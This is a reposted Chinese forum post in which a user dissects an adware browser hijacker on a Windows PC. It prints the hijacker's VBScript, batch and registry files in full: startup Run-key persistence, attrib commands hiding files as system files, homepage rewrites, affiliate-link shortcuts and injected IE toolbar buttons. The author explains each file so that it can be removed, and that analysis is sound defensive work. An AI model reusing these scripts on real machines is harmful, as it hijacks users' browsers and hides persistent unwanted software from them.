一个恶意软件的分析

转自http://www.meiyingbbs.com/thread-14453-1-1.html

解剖恶意插件
症状：
1、开机自己加载RKLauncher.exe
2、开机自己打开世界之窗浏览器（我自己没有安装）
3、自动运行两个注册表项（因为用户账户权限，所以发现的）
4、IE主页被修改为:http://www.oly8.com
5、会在桌面上出现一个淘宝的图标，和一人IE的，开始菜单中也是

方法：
通过打开的RKLauncher.exe，我找到RKLauncher.exe在硬盘的位置C:/Program

Files/auncher/RKLauncher.exe，但是当我去找时，却没有发现这个文件夹，隐

藏文件夹也全部是显示状态，只有一个原因了，RKLauncher.exe被弄成了受保护

的操作系统文件，打开文件夹选项，去掉隐藏受保护的操作系统文件，现在文件

夹出来了，删掉，在C:/Program Files/下还发现了一个chonglang文件夹，一个

文件夹名字就知道不可能是操作系统文件夹（外国人编写的能用拼音，打开

一看，是世界之窗浏览器。现在差不多都解决好了，但是开机后，还会运行两个

注册表项，但是用户控制详细信息（看来WIN7的这个功能还是有好处的）中会出

现程序的位置C:/Windows/xiaozhu，打开文件夹，看来里面很丰富啊。
下面我详细说一下：两个文件夹（一个是一些垃圾址，加载到IE中的收藏的）

，一个是图标、三个VBScript的文件、两个批处理、一个配置文件、一个db文件

、三个注册表文件。（先不删除，看一下是怎么来运行的）
用记事本打开（下面我说的不对的，请留言，谢谢）
1、
3FB824C44CC7ED623B609D702462D6C8.vbs内容如下：
DIM objShell
set objShell=wscript.createObject(“wscript.shell”)
iReturn=objShell.Run(“cmd.exe /C “”C:/WINDOWS/xiaozhu

/5e643138f47194aa.bat”””, 0, TRUE)
我只是大体能看懂：主要意思就是在CMD下运行C:/WINDOWS/xiaozhu

/5e643138f47194aa.bat（第4个）

2、
4acfa28ff1b446ee645bdba8bb7081c5.vbs内容如下：
on error resume next
DIM Fso,TxtFl,Str,re,WshShell,path
Set Fso = CreateObject(“Scripting.FileSystemObject”)
set WshShell=WScript.CreateObject(“WScript.shell”)
path=WshShell.ExpandEnvironmentStrings(“%UserProfile%”)
（这部分应该是得到你的用户文件夹的路径）

Set TxtFl = Fso.OpenTextFile (path+”/Application Data/SogouExplorer

/Config.xml”,1,True)
Set re = new RegExp
re.Pattern = “homepage=””([/S/s]*”””
re.Global = true
re.IgnoreCase = true
Str = re.Replace ( TxtFl.ReadAll,”homepage=””http://www.l798.com/”””)
re.Pattern = “homepagetype=””([/S/s]*”””
Str = re.Replace ( Str,”homepagetype=””3″””)
TxtFl.Close
Set TxtFl = Fso.OpenTextFile (path+”/Application Data/SogouExplorer

/Config.xml”,2,True)
TxtFl.Write Str
TxtFl.Close
这个有点长，好像是修改SougouExplorer的主页，不过我没有安装，好像也有什

么影响。

3、
4CC7ED623B609D70.bat内容如下：
attrib “C:/Program Files/chonglang/TheWorld.ini” +s +r +h
attrib “C:/Program Files/chonglang” +s +r +h
attrib “C:/Program Files/auncher/itemlist.conf” +s +r +h
attrib “C:/Program Files/auncher” +s +r +h
attrib “C:/Program Files/woxihuan/TheWorld.ini” +s +r +h
attrib “C:/Program Files/woxihuan” +s +r +h
attrib “C:/Documents and Settings/All Users/桌面/浏览器.lnk” +r
attrib “C:/Documents and Settings/All Users/桌面/淘实惠.lnk” +r
attrib “%appdata%/Microsoft/Internet Explorer/Quick Launch/浏览器.lnk”

+r
attrib “%appdata%/Microsoft/Internet Explorer/Quick Launch/淘实惠.lnk”

+r
regedit -s “C:/WINDOWS/xiaozhu/zhuyao.reg”
wscript.exe “C:/WINDOWS/xiaozhu/4acfa28ff1b446ee645bdba8bb7081c5.vbs”

先说一下attrib吧，这个是CMD下的一个很有用的命令，用来修改文件夹的属性，
+设置属性，-清除属性
r只读属性（防止被用户修改），s系统文件属性（这样能隐藏的更深），h隐藏属

性（用来隐藏）。
这个出来后，就可以把这些文件一个一个删除了。
最后两行，运行一个zhuyao.reg（第8个），

4acfa28ff1b446ee645bdba8bb7081c5.vbs（第2个）

4、
5e643138f47194aa.bat内容如下：
call C:/WINDOWS/xiaozhu/4CC7ED623B609D70.bat
copy “C:/WINDOWS/xiaozhu/360se_s.ini” “%USERPROFILE%/Application Data

/360SE/” /y
copy “C:/WINDOWS/xiaozhu/360sefav.db” “%USERPROFILE%/Application Data

/360SE/data/” /y
Reg Add “HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer

/HideDesktopIcons/ClassicStartMenu” /v “{871C5380-42A0-1069-A2EA-

08002B30309D}” /t “REG_DWORD” /d “1” /f
Reg Add “HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer

/HideDesktopIcons/NewStartPanel” /v “{871C5380-42A0-1069-A2EA-

08002B30309D}” /t “REG_DWORD” /d “1” /f
copy “C:/WINDOWS/xiaozhu/Fav/” “C:/Users/Administrator/Favorites” /y
copy “C:/WINDOWS/xiaozhu/Fav/” “C:/Users/Public/Favorites/” /y
@reg delete “HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer

/Extensions” /f
regedit -s “C:/WINDOWS/xiaozhu/gongju.reg”
wscript.exe C:/WINDOWS/xiaozhu/A60f3C.vbs
del /f /s /q “%appdata%/Microsoft/Internet Explorer/Quick Launch/*.url”

调用4CC7ED623B609D70.bat
复制C:/WINDOWS/xiaozhu/360se_s.ini到%USERPROFILE%/Application Data

/360SE/下
复制C:/WINDOWS/xiaozhu/360sefav.db到%USERPROFILE%/Application Data

/360SE/data/下
（这个我不清楚是做什么用的了，可以是改主页或者是收藏吧）
增加两个注册表项。（我不知道是做什么用的，可找到对应的，删除）
复制文件夹（一些址）到所有用户收藏的文件夹中。
删除了一个注册表项，应该是一个IE的扩展。
运行两个文件gongju.reg（第6个），A60f3C.vbs（第5个）。
最后是删除Internet Explorer/Quick Launch/下的所有url。

5、
A60f3C.vbs内容如下：
on error resume next
Set FSO = CreateObject(“scripting.filesystemobject”)

Set WshShell = CreateObject(“WScript.Shell”)

strAllDesk=GetDrive & “/Documents and Settings/All Users/桌面/”

strDesktop = WshShell.SpecialFolders(“Desktop”)

strQuick=WshShell.ExpandEnvironmentStrings(“%APPDATA%”) & “/Microsoft

/Internet Explorer/Quick Launch”

strStartmenu = WshShell.SpecialFolders(“AllUsersStartMenu”)

strStart=WshShell.SpecialFolders(“Startup”) & “/”

Set objShell = CreateObject(“Shell.Application”)
Set objFolder = objShell.Namespace(6)
Set objFolderItem = objFolder.Self
strDesktopFld = objFolderItem.Path
strDesktopFld =Replace(Lcase(strDesktopFld),”Favorites”,””)

Function AddMyFaver()
on error resume next
Set myfile=FSO.CreateTextFile( strDesktopFld & “/当当

— 上购物中心.url” ,,true)
myfile.WriteLine “[InternetShortcut]”
myfile.WriteLine

“URL=http://union.dangdang.com/transfer/transfer.aspxrom=P-

275693&backurl=http://www.dangdang.com/”
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & “/凡客诚

品.url” ,,true)
myfile.WriteLine “[InternetShortcut]”
myfile.WriteLine

“URL=http://www.vancl.com/WebSource/WebSource.aspxbr>
source=luoyefeihua&url=http://www.vancl.com/”
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & “/京东商

城.url” ,,true)
myfile.WriteLine “[InternetShortcut]”
myfile.WriteLine

“URL=http://click.union.360buy.com/JdClick/br>
unionId=3639&t=1&to=http://www.360buy.com”
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & “/绿色软

件站.url” ,,true)
myfile.WriteLine “[InternetShortcut]”
myfile.WriteLine “URL=http://www.88down.com/”
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & “/2345

站之家.url” ,,true)
myfile.WriteLine “[InternetShortcut]”
myfile.WriteLine “URL=http://www.hao348.com/”
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & “/淘啊淘

– 淘！我喜欢.url” ,,true)
myfile.WriteLine “[InternetShortcut]”
myfile.WriteLine

“URL=http://www.taobao.com/go/chn/tbk_channel/channelcode.phpbr>
pid=mm_26101802_0_0&eventid=101329″
myfile.Close
Set myfile=FSO.CreateTextFile( strDesktopFld & “/卓越亚

马逊.url” ,,true)
myfile.WriteLine “[InternetShortcut]”
myfile.WriteLine “URL=http://www.amazon.cn/br>
source=luoyefeihua-23″
myfile.Close
End Function

AddMyFaver
这些就不一一说明了，也就是增加一些IE的收藏，和桌面垃圾图标。

6、
gongju.reg内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions

/{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
“ButtonText”=”淘宝 ”
“Exec”=”http://www.taobao.com/go/chn/tbk_channel/channelcode.phpbr>
pid=mm_26101802_0_0&eventid=101329″
“Icon”=”C://WINDOWS//xiaozhu//icons//xihuan.ico”
“HotIcon”=”C://WINDOWS//xiaozhu//icons//xihuan.ico”
“MenuStatusBar”=”淘宝 ”
“MenuText”=”淘宝 ”
“CLSID”=”{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}”
“Default Visible”=”Yes”

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions

/{09BA8F6D-CB54-424B-839C-C2A6C8E6B436}]
“ButtonText”=”我的址导航”
“Exec”=”http://www.ha89.com”
“Icon”=”C://WINDOWS//xiaozhu//icons//2345.ico”
“HotIcon”=”C://WINDOWS//xiaozhu//icons//2345.ico”
“MenuStatusBar”=”我的址导航”
“MenuText”=”我的址导航”
“CLSID”=”{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}”
“Default Visible”=”Yes”

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions

/{92934D62-1F88-4153-9D6C-0FAC7263E010}]
“ButtonText”=”系统之家”
“Exec”=”http://www.85xp.com/”
“Icon”=”C://WINDOWS//xiaozhu//icons//xtzj.ico”
“HotIcon”=”C://WINDOWS//xiaozhu//icons//xtzj.ico”
“MenuStatusBar”=”系统之家”
“MenuText”=”系统之家”
“CLSID”=”{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}”
“Default Visible”=”Yes”

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions

/{CE42AF8A-56D2-4016-B6A2-73B89AB49182}]
“ButtonText”=”当当 ”
“Exec”=”http://www.85xp.com/dang.html”
“Icon”=”C://WINDOWS//xiaozhu//icons//dang.ico”
“HotIcon”=”C://WINDOWS//xiaozhu//icons//dang.ico”
“MenuStatusBar”=”当当 ”
“MenuText”=”当当 ”
“CLSID”=”{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}”
“Default Visible”=”Yes”

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Extensions

/{FA5A3315-8F56-49f5-9392-0D1FDFF652A5}]
“ButtonText”=”卓越 ”
“Exec”=”http://www.85xp.com/joyo.html”
“Icon”=”C://WINDOWS//xiaozhu//icons//joyo.ico”
“HotIcon”=”C://WINDOWS//xiaozhu//icons//joyo.ico”
“MenuStatusBar”=”卓越 ”
“MenuText”=”卓越 ”
“CLSID”=”{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}”
“Default Visible”=”Yes”

增加IE导航的，找到对应的删除。

7、
zhu.reg的内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies

/Explorer/Run/]
“O6O”=”/”C://WINDOWS//xiaozhu//3FB824C44CC7ED623B609D702462D6C8.vbs/””
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies

/Explorer/Run/]
“mac”=”/”C://Program Files//auncher//RKLauncher.exe/””
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies

/Explorer/Run/]
“TheWorld”=”/”C://Program Files//chonglang//TheWorld.exe/””
将3FB824C44CC7ED623B609D702462D6C8.vbs、RKLauncher.exe、TheWorld.exe三

个添加到自动运行中。

8、
zhuyao.reg内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies

/Explorer/Run/]
“O6O”=”/”C://WINDOWS//xiaozhu//3FB824C44CC7ED623B609D702462D6C8.vbs/””
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies

/Explorer/Run/]
“mac”=”/”C://Program Files//auncher//RKLauncher.exe/””
[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies

/Explorer/Run/]
“TheWorld”=”/”C://Program Files//chonglang//TheWorld.exe/””
[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/]
“Start Page”=”http://www.oly8.com”
[HKEY_USERs/.DEFAULT/Software/Microsoft/Internet Explorer/Main/]
“Start Page”=”http://www.oly8.com”
[HKEY_USERs/S-1-5-18/Software/Microsoft/Internet Explorer/Main/]
“Start Page”=”http://www.oly8.com”
好像跟上一个差不多，增加了几个IE的主页。找到对应注册表删除。

可能我还没有清楚干净，请高手指点。。。

声明：本站部分文章及图片源自用户投稿，如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢！

一个恶意软件的分析

相关推荐